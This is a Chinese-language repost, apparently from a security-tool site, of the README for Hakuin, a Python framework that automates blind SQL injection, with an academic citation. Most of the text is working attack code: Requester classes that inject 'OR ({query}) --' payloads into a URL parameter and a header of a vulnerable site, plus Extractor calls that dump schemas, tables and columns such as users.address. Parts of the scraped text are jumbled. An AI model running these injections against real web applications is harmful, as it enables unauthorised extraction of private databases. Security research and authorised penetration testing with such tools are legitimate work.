8 个月前 晚上 9:56 | FaradaySEC 赞助的帖子| 多用户渗透测试环境锡安3RHakuin 是一个用 Python 3 编写的盲 SQL注入(BSQLI) 优化和自动化 框架。它抽象了推理逻辑,并允许用户轻松高效地从易受攻击的Web 应用程序中提取数据库 (DB)。为了加快这一过程,Hakuin 采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测、并行性等。
Hakuin 曾在知名学术和工业会议上发表过演讲: - BlackHat MEA,利雅得,2023 年 - Hack in the Box,普吉岛,2023 年 - IEEE S&P 攻击技术研讨会 (WOOT),2023 年
更多信息请参阅我们的论文和幻灯片。
安装
要安装 Hakuin,只需运行:pip3 install hakuin<br>
开发人员应该在本地安装该包并设置-e可编辑模式的标志:
git clone [email protected]

示例
一旦确定了 BSQLI 漏洞,就需要告诉 Hakuin 如何注入其查询。为此,从派生一个类Requester并重写request方法。此外,该方法必须确定查询是否解析为True或False。示例 1 - 基于状态推断的查询参数注入
import aiohttp<br>from hakuin import Requester<br><br>class StatusRequester(Requester):<br> async def request(self, ctx, query):<br> r = await aiohttp.get(f'<a href="http://vuln.com/?n=XXX" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/?</span><span>n</span><span>=</span><span>XXX</span></a>" OR ({query}) --')<br> return r.status == 200<br>示例 2 - 基于内容推断的标头注入
class ContentRequester(Requester):<br> async def request(self, ctx, query):<br> headers = {'vulnerable-header': f'xxx" OR ({query}) --'}<br> r = await aiohttp.get(f'<a href="http://vuln.com/" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/</span></a>', headers=headers)<br> return 'found' in await r.text()<br>要开始提取数据,请使用<a href="https://www.kitploit.com/search/label/Extractor" target="_blank" title="Extractor">Extractor</a>类。它需要一个DBMS对象来构造查询,以及一个对象Requester来注入查询。Hakuin 目前支持SQLite、、(PostgreSQL)和(SQL Server)DBMS,但很快将包含更多选项。如果您希望支持其他 DBMS,请实现中定义的接口。MySQLPSQLMSSQLDBMShakuin/dbms/DBMS.py
示例 1 - 提取 SQLite/MySQL/PSQL/MSSQL
import asyncio<br>from hakuin import Extractor, Requester<br>from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL<br><br>class StatusRequester(Requester):<br> ...<br><br>async def main():<br> # requester: Use this Requester<br> # dbms: Use this DBMS<br> # n_tasks: Spawns N tasks that extract column rows in parallel <br> ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)<br> ...<br><br>if name == 'main':<br> asyncio.get_event_loop().run_until_complete(main())<br>现在一切已设置好,您可以开始提取数据库元数据。
示例 1 - 提取数据库模式
# strategy:<br># 'binary': Use binary search<br># 'model': Use pre-trained model<br>schema_names = await ext.extract_schema_names(strategy='model')<br>示例 2 - 提取表格
tables = await ext.extract_table_names(strategy='model')<br>示例 3 - 提取列
columns = await ext.extract_column_names(table='users', strategy='model')<br>示例 4 - 同时提取表和列
metadata = await ext.extract_meta(strategy='model')<br>一旦了解了结构,就可以提取实际内容。
示例 1 - 提取通用列
# text_strategy: Use this strategy if the column is text<br>res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')<br>示例 2 - 提取文本列
# strategy:<br># 'binary': Use binary search<br># 'fivegram': Use five-gram model<br># 'unigram': Use unigram model<br># 'dynamic': Dynamically identify the best strategy. This setting<br># also enables opportunistic guessing.<br>res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')<br>示例 3 - 提取整数列
res = await ext.extract_column_int(table='users', column='id')<br>示例 4 - 提取浮点列
res = await ext.extract_column_float(table='products', column='price')<br>示例 5 - 提取 Blob(二进制数据)列
res = await ext.extract_column_blob(table='users', column='id')<br>目录中可以找到更多示例tests。
从命令行使用 Hakuin
Hakuin 附带一个简单的包装工具,hk.py允许您直接从命令行使用 Hakuin 的基本功能。要了解更多信息,请运行:python3 hk.py -h<br>
对于研究人员
此存储库正在积极开发,以满足安全从业人员的需求。希望重现我们论文中描述的实验的研究人员应安装冻结版本,因为它包含原始代码、实验脚本和重现结果的说明手册。引用白隐
@inproceedings{hakuin_bsqli,<br> title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},<br> author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},<br> booktitle={2023 IEEE Security and Privacy Workshops (SPW)},<br> pages={384--393},<br> year={2023},<br> organization={IEEE}<br>}<br>下载白隐